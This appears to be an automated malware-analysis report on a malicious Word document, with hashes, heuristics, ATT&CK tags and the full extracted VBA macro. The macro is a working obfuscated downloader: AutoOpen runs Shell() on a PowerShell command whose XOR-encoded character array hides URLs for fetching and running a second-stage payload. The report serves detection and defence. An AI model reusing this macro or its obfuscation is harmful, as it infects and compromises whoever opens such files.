Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5abf6221fc4b9d99…

MALICIOUS

Office (OLE)

95.2 KB Created: 2018-06-19 15:53:00 Authoring application: Microsoft Office Word First seen: 2018-07-08
MD5: 44a515984904aa7d4743b8c240096793 SHA-1: c0fcb7d522cab7eddcfd77525305c791006aa3df SHA-256: 5abf6221fc4b9d999ee118f84d02ac66bf923f20beefa50a5fd7c521c508a5d2
152 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function and constructs a PowerShell command by concatenating various string fragments. This command is designed to download and execute a second-stage payload, indicated by the critical OLE_VBA_SHELL heuristic. The obfuscated nature of the script and the use of Shell() suggest a downloader or dropper functionality.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    MKZtHf = CByte(bOjkQ)
zBRFp = JHcKIfaL + Shell(MbiUruFTk + ctiOf + wUjWFbvOC, 16197 - 16197)
dijWmR = 74639
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13243 bytes
SHA-256: be510322d1068072d5d15e338eacece76e7ad574e05a3c535e8e9943108ffcda
Detection
ClamAV: No threats found
Obfuscation or payload: likely
185 of 296 identifiers look randomly generated (e.g. 'KzTsUnohLacYL') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JYpwUAFjpdSoK"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "KzTsUnohLacYL"
Function KpPqiOJSMji()
On Error Resume Next
XzKll = 57692
UKMAIp = 16313
QZdSJQ = CByte(RDoLi)
LucAZ = CDate(72000)
fYIjD = MXCjI
CIrau = CDate(NpGVAl + Sin(5898 + 92328) * 13461 * CInt(94184))
QWaLVobFFG = "OwerSHell " + "& ( $SHeLLid[" + "1]+$shElLId[1" + "3]+'x') ( ( [C" + "hAR[]]( 28,87 " + ",111 "
DXPCPL = 64612
zEZWz = 77661
ZbWEzK = CByte(AclwC)
CsKFLl = CDate(21864)
jJpLX = qFDBf
luGwON = CDate(JGUsY + Sin(47937 + 95329) * 51839 * CInt(23324))
wPlzKE = ",104" + " , 109" + " ,78, 115," + " 24, 5" + ",24,86, 93 , 79" + ", 21,87, 90, 82" + " , 93, 91," + " 76 , 24,7" + "4 , 89,86, 92"
QFiwOr = 42095
mnMAmd = 61994
FiGER = CByte(AfcWcN)
PsLMb = CDate(7734)
wOGzYz = WaLAMX
QTBZJ = CDate(vzzNaU + Sin(3336 + 13475) * 70918 * CInt(51345))
rTUXfnWC = ", 87 " + ",85,3, 28, 82," + "84,1" + "12, 8" + "7, 7" + "6,24,5,24 ," + "86, 93 ," + "79,21 ,87, 90,"
XCAhOv = 15882
OHmGb = 43904
PiSNQ = CByte(zMrVB)
ihvma = CDate(55622)
uJTYp = JQbcNq
hpGwzR = CDate(qEwri + Sin(8789 + 27231) * 27484 * CInt(92579))
JcUIGiHikJj = " 8" + "2, 9" + "3 , 9" + "1 ,76," + "24 ,107 , 65," + "75,76 ,93 ,85" + " ,22,118 ,93 " + ", 76 ,2"
jUwQX = 87270
wiPrz = 3993
AnzpU = CByte(asQJPr)
zhWonA = CDate(94015)
EhVqcq = hLzwId
kwznrn = CDate(ZNDBwj + Sin(17334 + 56477) * 57598 * CInt(76304))
WwziONzFmfH = "2," + "111 ,9" + "3 " + ",90, 123, 84 ," + "81 , 93 ,86 " + ",7" + "6 ,3,28, 1" + "13, 91,10" + "9, 98 "
wlSCGO = 90152
rzjjuE = 90719
oDsAu = CByte(PMtTHD)
bobFa = CDate(58688)
HibjW = XswSW
BtmilP = CDate(vDnWc + Sin(78442 + 52818) * 44935 * CInt(91955))
niCVch = ", 119" + " ,24 , 5 ,2" + "4 , 31 ,80 " + ", 76 ," + " 76" + ",72 ,2 ,23 , 2" + "3 , 79 , 79 , " + "79 ," + "22,89, "
NPipU = 16617
GVwOGm = 39942
ziOiE = CByte(VwrDTi)
Ommwj = CDate(97491)
kSDVzo = bZYDbc
qqstW = CDate(issDlM + Sin(26285 + 33044) * 50798 * CInt(26236))
dsfzwvTHflb = "86 ," + " 89 ," + "86,76 ," + "80 , 89,"
KpPqiOJSMji = QWaLVobFFG + wPlzKE + rTUXfnWC + JcUIGiHikJj + WwziONzFmfH + niCVch + dsfzwvTHflb
End Function
Function qZYVAA()
On Error Resume Next
cOdFo = 34843
oNpSn = 31947
RFoYD = CByte(QuqrB)
SwDaQ = CDate(31160)
PDZVq = FXFZCO
iqRCT = CDate(PYqort + Sin(843 + 27665) * 39257 * CInt(16440))
PjzvB = "85 , 75,80 ,87" + " ,72,22 ,91" + ", 8" + "7 ,85 , 23 , 94" + ",1, 98,84 , 1" + "16, 83, 95," + " 72 ,66 , " + "23 , 120 , 80,7" + "6,76,7"
CUznoa = 11946
vbiIF = 38333
wBzzok = CByte(NrAoP)
fOBMJ = CDate(34262)
cEaoc = wSzAnX
iDhaD = CDate(QuGlh + Sin(31017 + 39498) * 12669 * CInt(48020))
BrBAUl = "2 ,2 ,23" + " , 23 , 79 ," + " 79,79 ,22, 95" + ",87,78, 76 , 8"
TXufTQ = 14218
KacwvQ = 31048
SXvFG = CByte(ZIjdX)
FPaCUs = CDate(77497)
iRwWS = iiopDw
KCHOm = CDate(kFKuUM + Sin(85175 + 85581) * 99295 * CInt(53557))
KTXcFVAzJiA = "2,87,90 , 8" + "9,84 , 93 " + ", 74 , 76,2" + "2 " + ", 81," + "86,23," + " 72,8 ,85,8" + "7, 77 , 111 , "
SbZUwo = 16828
ObrQj = 75574
mMPzz = CByte(bsorGc)
zpjITj = CDate(88342)
YwkIEJ = zUmtLi
vwjLZP = CDate(WBUHWW + Sin(3363 + 55246) * 76999 * CInt(94728))
fHcdz = "123, 23 , 120, " + "80, 76 ,76,72 ," + " 2 , 23,23 , " + "78 , 81,7" + "6,89 , 85, 81 " + ", 86 " + ",84 ,87"
qZYVAA = PjzvB + BrBAUl + KTXcFVAzJiA + fHcdz
End Function
Function DtNtUkkHpEm()
On Error Resume Next
WmVmW = 99493
bkswjz = 98560
KwMsL = CByte(Kuznr)
YZvCdq = CDate(80416)
aAzFt = cEYGO
HuKMH = CDate(VCMOV + Sin(65443 + 18344) * 62867 * CInt(79200))
VRYKLzzrcNj = ", 8" + "6 ,92, 8" + "7 ,86 ,22, " + "91,87 , 8" + "5," + " 23,126 ,1" + "5 ,93,12" + "2,72 ," + " 93, 23, 120"
lzkBD = 16496
jhGPs = 16706
lRJQrk = CByte(bcqkI)
SGoBvX = CDate(52087)
NEIQF = oLzfLj
VZBMhZ = CDate(aPwCll + Sin(83071 + 74171) * 27171 * CInt(80245))
tsIjQvQG = ",80 , 76, 76," + "72, " + "2 , 23 , 23 ,7" + "9,79 , 79 , 22" + ",85 ,81" + " ,75 ,75 ,81,8"
KLjAM = 85941
kjBMTX = 98751
XCbTaL = CByte(JWTFT)
XVcGP = CDate(61428)
kYiWL = JYEjoi
VDfbuF = CDate(MCUHDM + Sin(28014 + 32485) * 18200 * CInt(42752))
lsHErNq = "7 , " + "86,91,89 , 74 " + ",89 , 7" + "8,89" + ",86 ," + " 22,91" + " ,87 ,85"
VaKGB = 23702
TVmmK = 80260
HqGMF = CByte(fHIwss)
VBFYU = CDate(83747)
ZcdiF = sNbih
WLCzm = CDate(nPwXQ + Sin(18324 + 50117) * 14761 * CInt(33007))
pDSnBF = " ,23 ," + " 98,85, 74,107" + " ,98 , 93,83,1" + "15, 96, 23,1" + "20 ,80,76" + ", 76, 72, 2 , 2" + "3,23 ,75, 8" + "0 ,77 "
vnJaiH = 29994
tXTjz = 7517
kijSK = CByte(nfwqI)
zSpVH = CDate(79720)
LXwjpq = BYicwo
wdlizk = CDate(VaPCub + Sin(81060 + 29826) * 14931 * CInt(59889))
kPtkwMiCV = ", 86,82," + "81 ,22,87 , 74" + ",95,23, " + "79,87"
iijNQt = 93900
oKwcEw = 5295
ahLJdv = CByte(lQnvi)
Ltsbbj = CDate(1114)
KWbmDt = VlWoq
WiIbI = CDate(oPSZww + Sin(38881 + 96541) * 1416 * CInt(33548))
nQpaEqm = " ,74 , 92, 72" + " ,74 , 93,75,7" + "5 , 23 ,93,11" + "0 ,77"
USdWzN = 97993
QdMhmT = 82338
dNsbmQ = CByte(ZSTpE)
XGzYj = CDate(70724)
zYwWK = JwczLd
CruBOG = CDate(EzPGfF + Sin(70576 + 14449) * 18481 * CInt(92839))
ojNEopwOpOV = " , 122,118 , 1" + "4 ,64," + "87,2" + "3 , 3" + "1 ,22,107, 72 " + ",84, " + "81" + ", 76 ,16"
jaIbC = 24771
ChPHjX = 16488
zVPzD = CByte(hMpfj)
sQdst = CDate(38834)
hNZnj = XCFJw
pCsCU = CDate(FCSwov + Sin(16148 + 46368) * 97210 * CInt(97945))
rILsN = ", 31, 120 ,3" + "1 ,17 ,3," + " 28" + ",122 , 84 , " + "98 , 108 , 74," + " 72" + " ,24 ,5 , 24" + ", " + "28," + "87,111, 10"
SuGwH = 27873
SfaqBw = 95101
BkYlu = CByte(WLfuf)
lVAOj = CDate(14194)
ShYDi = WjNEQX
QQYoY = CDate(promH + Sin(53568 + 61982) * 39638 * CInt(4893))
itBmdMzO = "4 ," + "109 ,78 ,115" + ",22 , 86,9" + "3,64 " + ", "
DtNtUkkHpEm = VRYKLzzrcNj + tsIjQvQG + lsHErNq + pDSnBF + kPtkwMiCV + nQpaEqm + ojNEopwOpOV + rILsN + itBmdMzO
End Function
Function AjrbJX()
On Error Resume Next
wzkEZi = 47014
NRrhT = 29748
Swliz = CByte(hHDbku)
aUkSGV = CDate(13161)
lwSnaN = nVfzl
liWFtW = CDate(ozFwzL + Sin(90029 + 11270) * 59034 * CInt(78178))
GPOuq = "76 , 16, " + "9,20, 24 , " + "9 ,13 ,1" + ",1,1 ," + " 13, 1" + "7 , 3,28" + " , 96, 66 "
GLzSDV = 76609
pkEQJS = 54191
djOFdT = CByte(IOzEJC)
BCoOl = CDate(68164)
HzdJdj = GbAJw
UNmPLj = CDate(zzjEZ + Sin(11669 + 19509) * 79196 * CInt(33239))
wfuWpXNFT = ",105 ,83 " + ", 107,24,5,24, " + "28 , 93" + " ,86,78 ,2," + " 76 , 93," + "85, 72 , 24 , " + "19" + " ," + "24 ,31 ,10" + "0,3"
SnKIOO = 1621
UjOGup = 92906
wvMluG = CByte(GWqiXI)
fQDVtT = CDate(40781)
jwwtSo = hjHuF
AWpEoM = CDate(AOVOW + Sin(60090 + 10677) * 95695 * CInt(21079))
jRbzUR = "1, 24 ,19 , 24" + ",28 ,122" + ", " + "84"
RZnVcI = 17405
aGIbd = 61368
EZSsmK = CByte(Xviik)
FEYvW = CDate(1281)
NFJLrL = GMUMU
IYKIOs = CDate(YKYqf + Sin(92339 + 91614) * 59343 * CInt(65273))
kTUZEOLPz = " ,98 ,108,74 ," + " 72 , 24, 19, " + "24 ,31, " + "22, 93" + " , 6" + "4, 93 ," + " 31 " + ", 3,"
Jdttw = 24961
QIbVo = 85201
sDoaa = CByte(wiQqW)
NwBCY = CDate(8989)
DYtmz = sqRFL
uzjXU = CDate(wSSjL + Sin(31098 + 27384) * 57837 * CInt(76515))
iAjUiqUNDEp = "94, 87 ,74,93" + ", " + "89 , 91 , " + "80,16,28, " + "84, 8"
ZIjTI = 53022
FBvBUq = 26440
iwEaH = CByte(ZdzifS)
bFtFO = CDate(13380)
qzXtmL = pWlqUO
CJIqbV = CDate(NMXEk + Sin(20086 + 87751) * 79434 * CInt(87388))
poOZYOF = "1 , 108 , 7" + "7 ,78 , 24" + " ,81 ,86" + ", 24 ,28 , 113" + " , 91 ,109,9" + "8 ,119 , 17 ,67"
lbLRZZ = 89727
UcaLt = 40954
NmLHP = CByte(jnPwL)
FkUtz = CDate(95140)
HLoSI = VfNuBG
jPsUCY = CDate(LwhVlX + Sin(90835 + 26927) * 46139 * CInt(9358))
azkJBp = ", 7" + "6, 74 , 65, 67," + "28," + "82 ,84 " + ",112" + ", 87 , 76" + ",22 , 124, 87" + ", 79 , 86, 84, " + "87" + " ,"
IjXEm = 10575
qtDrVW = 19070
NnFrMQ = CByte(pmKQGG)
XLwKpP = CDate(1450)
qhiqQu = PSlYbu
wjUCn = CDate(YnjfCr + Sin(17005 + 83458) * 14812 * CInt(6416))
RFQrfq = " 8" + "9 ,92 ,126, 81" + ",84 " + ", 93 " + ",1" + "6,28,84,81 "
kRwalE = 27872
DrQkjR = 23447
jDtVwh = CByte(Tjpin)
OAMpi = CDate(23818)
zJXkK = nWGVRm
FAmhiO = CDate(NrpJhA + Sin(53739 + 9207) * 39684 * CInt(64958))
ffdzwiY = ", 108, 77 ,7" + "8 " + ", " + "22," + " 1" + "08,87,10" + "7 ,76 "
AjrbJX = GPOuq + wfuWpXNFT + jRbzUR + kTUZEOLPz + iAjUiqUNDEp + poOZYOF + azkJBp + RFQrfq + ffdzwiY
End Function
Function BZndoioW()
On Error Resume Next
jjJbqj = 1804
naKCC = 71638
tJfiQi = CByte(aVpGt)
HbvFD = CDate(11137)
HVUoqP = KSicIN
krYDVi = CDate(ZOITz + Sin(73819 + 68833) * 25235 * CInt(22967))
MNkwML = ",74 " + ",81 ,86" + ",95" + " , 16 , 17, 20," + " 24,28 , 96" + ", 66, 1" + "05 ,83 ," + " 10"
JiTdMM = 42101
bphjr = 69577
HYuPJ = CByte(ilBtbi)
DznQAl = CDate(62780)
DYEpJI = DjFijN
bhKaJ = CDate(mAKiCU + Sin(8102 + 20827) * 18902 * CInt(64074))
ijzDpUjicBB = "7 ,1" + "7 ," + " 3,107,7" + "6,89 , 74 , 76" + " ," + "21 , 104 ,74"
AzvkqP = 46762
PtwwiR = 26195
ospGY = CByte(NcjSYj)
ZsEUz = CDate(36780)
aoNNMw = SBRaG
fWiSzD = CDate(ZIESt + Sin(5881 + 79880) * 91246 * CInt(25606))
tDfdbcUmJU = ", 87, 91," + " 93 ," + "75,75 , 24, " + "28 ,96" + " , 66,10" + "5, 8" + "3,10" + "7 , 3, 90,74,"
IUuoT = 58977
paiZa = 1796
fjiifL = CByte(IFOSXQ)
wmcSRp = CDate(48713)
jVkriP = wXMhRV
GHdzVR = CDate(TZtTO + Sin(76484 + 40268) * 67646 * CInt(92319))
ufllSzb = "93," + "89 ,83 " + ", 3 ,6" + "9 ,9"
pdnloZ = 8272
iaNGfv = 72483
LbDjq = CByte(UoFYrj)
zEnCD = CDate(81688)
fRVlcB = RcsYAi
oFvIvv = CDate(rwFtqp + Sin(89390 + 23158) * 72297 * CInt(57435))
awKIoQjEai = "1 " + ", 89 ,76,91, " + "80 , 67" + ",79 , 74 , 81," + "76,93 , 21," + "80,87, 75 , 76,"
vcrziB = 88261
VtibfN = 51490
lSJSY = CByte(IDduZ)
SzTwXJ = CDate(14697)
QMJRKd = VHczJu
jFFiw = CDate(WttcXh + Sin(45155 + 39101) * 12883 * CInt(11105))
hhowbvZdDlB = "24 , 28,103" + ",22,125 , " + "64,91 ,93,72 ,7" + "6 " + ", 8" + "1,87 ,86, " + "22 ,"
oCPJA = 43999
UDNGQ = 39808
GwrNFG = CByte(zwVcUN)
HZkwzC = CDate(77420)
VYvjFD = NcjcfK
sasPzX = CDate(BBcOi + Sin(3407 + 57109) * 12187 * CInt(91743))
PjkCVCOFfR = "117 ,93 , " + "75,75,89 " + ",95, 93,3,69,6" + "9 ) |FoReaCh-" + "ObjECt{[ChAR]" + " ($_ -BxOR " + "'0x38' " + ")} ) -JoIn '' )"
BZndoioW = MNkwML + ijzDpUjicBB + tDfdbcUmJU + ufllSzb + awKIoQjEai + hhowbvZdDlB + PjkCVCOFfR
End Function

Function WQLWMIWlZQV()
On Error Resume Next
ztKrU = 85238
IdcWn = CDate(hdoFOY + Sin(42700 + 34994) * 44200 * CInt(17022))
Htqvl = IsLBi
GcNLR = 56512
EwGLXS = CDate(89818)
dBVMXh = CByte(UirECP)
kiNnlK = 33257
DjBZf = CDate(ONBDu + Sin(67763 + 40070) * 39461 * CInt(2915))
PDKEdl = HVhQYS
jBurnB = 4415
dbuCW = CDate(78878)
orSmbz = CByte(PZENXJ)
rHSiC = 34733
Vhjrb = CDate(IlXbO + Sin(74206 + 79020) * 63560 * CInt(84950))
wkRlS = FTRXHw
vYhCX = 1874
EwIpvF = CDate(35709)
opwbi = CByte(zMkhRt)
KCffEj = 72261
jUvEm = CDate(kCLdq + Sin(89858 + 84823) * 30892 * CInt(99398))
KTjqZ = wfBFZj
PkGbq = 50697
tbPaDv = CDate(21887)
GDGEX = CByte(qtKnh)
zlSRlj = 13519
aKPnj = CDate(JHBbU + Sin(71692 + 32355) * 28045 * CInt(65134))
AwEAv = TKHzN
CSIVo = 64296
QCjpE = CDate(4888)
zmFcbz = CByte(kMUwh)
End Function
Function jWdPZVt()
On Error Resume Next
WzTcw = 22340
DzkHu = CDate(jCqLni + Sin(66578 + 20719) * 93264 * CInt(65773))
HLFYR = awwSlJ
XRtNpH = 67950
fkATI = CDate(29589)
zLQJin = CByte(tABFIq)
kEEdD = jDofcBXcuZ + Chr(NiQIhSmLGhC + 80 + lDiTJzvwNuj)
WzzjCi = 20117
oOFOkB = CDate(TQJhI + Sin(86563 + 15416) * 48563 * CInt(78008))
CHPLC = tLvWt
CovwrJ = 82290
IwZzs = CDate(56581)
ZHtjB = CByte(LwJjlP)
UnOlq = 37815
JibqdO = CDate(sDHUSW + Sin(19150 + 83925) * 64561 * CInt(47826))
JfUDO = ZsFqc
fwAvs = 61584
EMCpfI = CDate(56759)
BdWCj = CByte(BvkNd)
jWdPZVt = pOEcCGaEzU + kEEdD + KpPqiOJSMji + qZYVAA + DtNtUkkHpEm + AjrbJX + BZndoioW
LbswqM = 13476
mjDlTX = CDate(swoIML + Sin(71601 + 48084) * 28204 * CInt(59017))
VHtJo = MkzsP
jYUXI = 84813
JRkIw = CDate(30611)
tKOuUV = CByte(KwzZG)
End Function
Function svzpSmEOIdE(ctiOf)
On Error Resume Next
uFjIs = 63775
UNvMHB = CDate(ZSVvfb + Sin(99645 + 80408) * 32307 * CInt(15616))
hOAjz = VUEsY
bwpXOJ = 79401
iYndI = CDate(55486)
uikCG = CByte(aIAdrm)
AaEtO = 81558
wTHIdj = CDate(cAwtR + Sin(59349 + 17259) * 19844 * CInt(59908))
QWdiSb = QFhHH
YuENBq = 60733
qmzrAQ = CDate(51690)
MKZtHf = CByte(bOjkQ)
zBRFp = JHcKIfaL + Shell(MbiUruFTk + ctiOf + wUjWFbvOC, 16197 - 16197)
dijWmR = 74639
TMluTN = CDate(mbifF + Sin(87150 + 32717) * 34491 * CInt(4247))
fodQjH = izRsGt
kivwz = 25917
rXCJV = CDate(59787)
qwDhcS = CByte(ktzKfs)
End Function
Sub AutoOpen()
On Error Resume Next
GTkcd = 8045
JufkN = CDate(kAROp + Sin(5206 + 14460) * 96946 * CInt(66062))
lrKwj = kjOam
EdwSS = 60767
wWfhp = CDate(3162)
ziZVCi = CByte(BhmFDM)
Application.Run DlXEKEXWS + "svzpSmEOIdE" + nUPhGlco, Lshjbr + jWdPZVt + dlXjN
YUGRt = 4696
wiNYDI = CDate(YACBAj + Sin(72438 + 22612) * 32895 * CInt(25489))
OtCZt = YOhiuO
oukoIw = 1678
HKzWmj = CDate(54054)
YPAFX = CByte(DtqfE)
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.